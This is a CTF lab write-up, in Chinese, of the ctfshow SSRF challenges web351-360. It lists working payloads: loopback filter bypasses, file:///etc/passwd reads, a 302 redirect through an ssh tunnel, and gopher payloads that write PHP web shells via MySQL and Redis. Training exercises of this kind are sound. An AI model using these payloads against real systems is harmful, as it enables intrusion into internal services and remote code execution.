ctfshow-web入门SSRFweb351-360wp
一、ctfshow
(一) web351
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
这个源代码蕴含了curl_exec() 函数
函数用于执行一个 cURL 会话。如果用户可以控制 URL 参数,攻击者可以利用该函数访问内网服务、读取本地文件或攻击其他服务器。
所以我们可以通过利用SSRF漏洞访问内网中的Web应用或其他服务。通过构造特定的URL,攻击者可以访问内网中的敏感资源。
url=http://127.0.0.1/flag.php
即可得到flag(这是POST传参)

方案二:
尝试使用 file 协议读文件:
url=file:///etc/passwd
同理我们可以把 flag 给读出来:
url=file:///var/www/html/flag.php
(二) web352
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
这道题和上道题一样
只不过这道题 限制只能使用 http 或者 https 协议
并且url不能含有/localhost|127.0.0/
但是上道的payload可以继续使用
url=http://127.0.0.1/flag.php
得到flag

但是还是需要绕过一下的
url=http://0x7F000001/flag.php(16进制绕过)
url=http://2130706433/flag.php(10进制)
url=http://0177.0.0.1/flag.php—(8进制)
url=http://%31%32%37%2E%30%2E%30%2E%31/flag.php(URL加密)

(三) web353
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
这道过滤了
/localhost|127\.0\.|\。/i'
依然可以用16进制去绕过
url=http://0x7F000001/flag.php(16进制绕过)
得到flag

看了看其他人的WP
还可以用
url=http://0/flag.php(0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0)
url=http://0.0.0.0/flag.php
url=http://127.1/flag.php(缺省模式)
CIDR:url=http://127.127.127.127/flag.php
并且不只是127.0.0.1代表本地
127.0.0.1---127.255.255.254都行

(四) web354
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
这次相比之前直接看有没有0和1
我试了试之前的几种方法都返回hacker
我问了一下AI
他给我推荐的是localtest.me 这个公共域名默认 A 记录指向 127.0.0.1,且不包含被过滤的关键字,可以直接通过检查并访问本地的 flag.php。
payload:
url=http://localtest.me/flag.php
得到flag

看了下大佬的WP
方法一:域名指向127
在自己的域名中添加一条A记录指向 127.0.0.1
或者使用 http://sudo.cc这个域名就是指向127.0.0.1
方法二:302跳转
在自己的网站页面添加
<?php
header("Location:http://127.0.0.1/flag.php");
重定向到127
我试了一下
url=http://sudo.cc/flag.php
发现这个已经失效

(五) web355
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
这道题限制了域名长度<=5,无其他限制
所以我们可以使用
url=http://0/flag.php(0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0)
url=http://127.1/flag.php(缺省模式)
得到flag

(六) web326
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
这道限制域名要小于3
继续使用0
url=http://0/flag.php(0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0)
得到flag

(七) web357
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?> scheme
这里有段waf,我们不知道, 问一下ai
1. 1. filter_var($ip, FILTER_VALIDATE_IP, ...)
FILTER_VALIDATE_IP会验证$ip是否是一个合法的 IPv4 或 IPv6 地址。- 如果
$ip不合法,则返回false。 - 意味着任何不是标准 IP 格式的值(比如
127.0.0.1:80、example.com)会直接被判定为非法。
2. 2. FILTER_FLAG_NO_PRIV_RANGE
- 禁止私有 IP 地址段。
- 私有 IPv4 范围:
-
10.0.0.0-10.255.255.255172.16.0.0-172.31.255.255192.168.0.0-192.168.255.255
- 私有 IPv6 范围:
-
fc00::/7
3. 3. FILTER_FLAG_NO_RES_RANGE
- 禁止保留地址范围(特殊用途 IP),包括:
-
0.0.0.0127.0.0.0/8(回环地址)169.254.0.0/16(链路本地)::1(IPv6 回环)- 以及其他 RFC 保留段
4. 4. 综合逻辑
执行这段代码时:
- 先验证
$ip是不是符合 IP 格式(A.B.C.D或 IPv6 标准表示)。 - 如果是 IP,就进一步检查是否属于私有 IP 或保留 IP 范围。
- 只允许公网 IP(Public IP)通过。
意思就是需要公网IP,我们可以在我们自己的公网服务器上面,搞一个302跳转的文件,这样子,当使用这个容器访问的时候,就会自动302跳转到127.0.0.1里面,
payload
<?php
header("Location:http://127.0.0.1/flag.php");
?>
url=http://你的公网ip/ssrf.php
我们可以在本地终端运行(写xxe题用过的)
php -S 0.0.0.0:8000
搭建 PHP 环境
在同一个目录下写一个php文件内容为:
<?php
header("Location:http://127.0.0.1/flag.php");
?>
然后在同一个目录下再创建一个终端
运行
ssh -R 80:localhost:8000 serveo.net
会给到一个公网地址
https://xxxxxxx.serveousercontent.com
然后复制它到payload
url=https://xxxxxxxxx.serveousercontent.com/ssrf.php
即可得到flag

注意:公网地址记得修改为自己的
如果你有自己的vps就不用这么麻烦了
(八) web358
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
匹配以 http:// ctf . 开头,并且以 show 结尾
payload:
url=http://ctf.@127.0.0.1/flag.php#show
url=http://ctf.@127.0.0.1/flag.php?show
url=http://ctf.@127.0.0.1/flag.php?a=show
得到flag

(九) web359
题目提示:打无密码的mysql
点开是一个登录界面

查看源码发现有check.php以及post传参

登录抓包试试看

发现可疑参数 returl 存在 SSRF
使用 gopher 协议去打 mysql
用 gopherus 工具生成 payload
python2 .\gopherus.py --exploit mysql
username:root
写入一句话木马
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';

将 _ 下划线后面的内容再进行一次 url 编码(防止出现特殊符号)

post传参
修改return值为
%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254c%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2527%2563%256d%2564%2527%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2561%2561%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

连接蚁剑
flag.txt在根目录
(十) web360
提示:打redis
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
我搜了一下redis
什么是Redis未授权访问?
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器
简单说,漏洞的产生条件有以下两点:
redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
没有设置密码认证(一般为空),可以免密码远程登录redis服务
python gopherus.py --exploit redis
phpshell
<?php eval($_POST['cmd']);?>

url再次编码POST传入

shell写入的地址默认为/shell.php
访问shell.php

蚁剑连接也可以得到flag
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐


所有评论(0)